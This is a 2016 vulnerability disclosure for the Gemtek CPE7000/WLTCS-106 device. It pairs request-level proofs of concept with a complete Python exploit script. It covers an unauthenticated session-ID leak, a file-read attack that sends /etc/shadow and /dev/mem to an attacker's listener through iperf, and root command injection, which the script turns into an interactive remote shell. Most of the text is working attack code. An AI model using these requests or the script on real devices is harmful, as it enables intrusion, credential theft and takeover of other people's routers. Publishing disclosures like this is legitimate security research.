Gemtek CPE7000 WLTCS-106 Authentication Bypass / Code Execution
Posted on 22 April 2016
#!/usr/bin/python ''' # Exploit Title: Gemtek CPE7000 / WLTCS-106 multiple vulnerabilities # Date: 04/06/2016 # Exploit Author: Federico Ramondino - framondino[0x40]mentat[0x2e]is # Vendor Homepage: gemtek.com.tw # Version: Firmware Version 01.01.02.082 # Tested on: # Product Name : CPE7000 # Model ID : WLTCS-106 # Hardware Version : V02A # Firmware Version : 01.01.02.082 1) SID leak / auth bypass The sysconfg cgi application leaks a valid "SID" (session id) when the following unauthenticated request is made: Request: GET /cgi-bin/sysconf.cgi?page=ajax.asp&action=login_confirm HTTP/1.1 The response body has the form: <checkcode>,<sid> Example resp: RJIi,BtsS2OdhcVSbviDC5iMa1MKeo9rbrgdQ The sid thus obtained can be used to "unlock" the cliend-side administration interface and/or to directly issue request that are usually restricted to administrative accounts. POCs: I) Unauthenticated remote reboot: Request: /cgi-bin/sysconf.cgi?page=ajax_check.asp&action=reboot&reason=1&sid=<SID> II) Web admin interface access. Add a new cookie with the following values: userlevel=2 sid=<sid> -------------------------------------------------------------------------------- 2) Arbitrary file download - with root privileges - via iperf tool One of the diagnostic tools available on the device can be used to read an arbitrary file on the device. The sysconfg cgi application fails to sanitize user input, allowing an attacker to hijack the command issued to the "iperf" binary, a commonly-used network testing tool that can create TCP and UDP data streams and measure the throughput of a network that is carrying them. The client-side validation can be easily bypassed by changing the javascript validation code, or by directly sending a forged request to the server. The iperf tool is run with the -c switch, meaning that it is behaving as a client that sends data to a server. By adding the -F parameter, iperf is forced to read data from a file instead of generating random data to be sent during the measurement. This attack needs 2 step in order to take advantage of the vulnerability. The first request sets up the command be to run, the second one (a.k.a. toggle) actually runs the command (check the response body, 1 means running, 0 means stopped). The following "SETUP" request can be used to set the correct parameters: /cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i p=X.X.X.X&perf_measure_server_port=YYYY&perf_measure_cpe_port=5554&perf_measure_ test_time=ZZ&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024& perf_measure_bandwidth=19m&perf_measure_client_num=1%20-F%20 <URLENCODED PATH TO FILE> Parameters breakdown: XXX.XXX.XXX.XXX = attacker ip YYYY = attacker listening port zz = time limit Note: nc is enough to capture data, which may be sent with some additional header and footer introduced by iperf's protocol In order to run iperf, the following "TOGGLE" (run/stop) request must be sent: /cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle POCs: I) download of /etc/shadow SETUP REQUEST: /cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i p=X.X.X.X&perf_measure_server_port=YYYY&perf_measure_cpe_port=5554&perf_measure_ test_time=30&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024&p erf_measure_bandwidth=19m&perf_measure_client_num=1%20-F%20%2fetc%2fshadow RUN/STOP(Toggle) REQUEST: /cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle II) download of device physical memory (/dev/mem) with increased perf_measure_test_time: SETUP REQUEST: /cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i p=X.X.X.X&perf_measure_server_port=YYYY&perf_measure_cpe_port=5554&perf_measure_ test_time=6000&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024 &perf_measure_bandwidth=19m&perf_measure_client_num=1%20-F%20%2fdev%2fmem RUN/STOP(Toggle) REQUEST: /cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle -------------------------------------------------------------------------------- 3) Unauthenticated remote root command execution The same vulnerability can be used to issue an arbitrary command on the device. The command executed on the system to run the diagnostic tool is constructed using the sprintf function and the following format string, with no additional checks: iperf -c "%s" -p %s -t %s -l %s -b %s -L %s -r -u > /tmp/iperf.txt & It is therefore possible to insert another command by injecting it in the "perf_measure_server_ip" parameter and commenting out the rest of the original command. To concatenate a command, the string in the first half before the injection point ( iperf -c " ) must be correctly closed with quotes ( " ). Then the new command can be added, preceded by a semicolon ( ; ). Finally, the other part of the original command after the "injection point" must be commented out ( # ). iperf -c ""; <NEWCMD> #" -p %s -t %s -l %s -b %s -L %s -r -u > /tmp/iperf.txt & SETUP REQUEST: /cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i p=%22%3b%20<COMMAND_HERE>%20%23&perf_measure_server_port=5555&perf_measure_cpe_p ort=5554&perf_measure_test_time=60&perf_measure_protocol_type=1&perf_measure_pac ket_data_length=1024&perf_measure_bandwidth=19m&perf_measure_client_num=1 RUN/STOP(Toggle) REQUEST: /cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle POC (echo test > /www/test): /cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i p=%22%3b%20echo%20test%20%3E%20%2fwww%2ftest%20%23&perf_measure_server_port=5555 &perf_measure_cpe_port=5554&perf_measure_test_time=60&perf_measure_protocol_type =1&perf_measure_packet_data_length=1024&perf_measure_bandwidth=19m&perf_measure_ client_num=1 and toggle: /cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle -------------------------------------------------------------------------------- Remediation: Disable wan access to the management web interface until an updated firmware is released. More information and a detailed how-to is available at: http://www.mentat.is/docs/cpe7000-multiple-vulns.html ''' #Gemtek CPE7000 / WLTCS-106 remote root command execution #Author: Federico Ramondino - framondino[0x40]mentat[0x2e]is # Tested on: # Product Name : CPE7000 # Model ID : WLTCS-106 # Hardware Version : V02A # Firmware Version : 01.01.02.082 import httplib import ssl import urllib import time import sys import getopt import socket ssl._create_default_https_context = ssl._create_unverified_context host='' port = 443 def check(): try: conn = httplib.HTTPSConnection(host +":"+str(port), timeout=10) conn.request("GET", "/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start¬run=1") r1 = conn.getresponse() if r1.status != 200: return False return True except socket.error as msg: print "Cannot connect"; sys.exit(); def sendcmd( cmd ): resource = '"; ' + cmd + ' &> /www/cmdoutput.txt #' urlencoded = urllib.quote_plus(resource) cmdresource = "/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_ip=" +urlencoded + "&perf_measure_server_port=5555&perf_measure_cpe_port=5554&perf_measure_test_time=60&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024&perf_measure_bandwidth=19m&perf_measure_client_num=1" res = makereq (cmdresource) res =makereq ("/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle") if(res!="1"): res =makereq ("/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle") time.sleep(1) res = makereq ("/cmdoutput.txt") print res def makereq (resource): conn = httplib.HTTPSConnection(host +":"+str(port)) conn.request("GET", resource) r1 = conn.getresponse() body = r1.read() return body if len(sys.argv) < 2: print 'GemtekShell.py <host> [<port> (443)]' exit() elif len(sys.argv) > 2: port = sys.argv[2] host = sys.argv[1] print 'Connecting to ', host, port if not check() : print "Host seems not vulnerable" sys.exit() while(1): cmd = raw_input("gemtekCMD> ") if cmd.strip() != "quit" : sendcmd(cmd) else : sys.exit()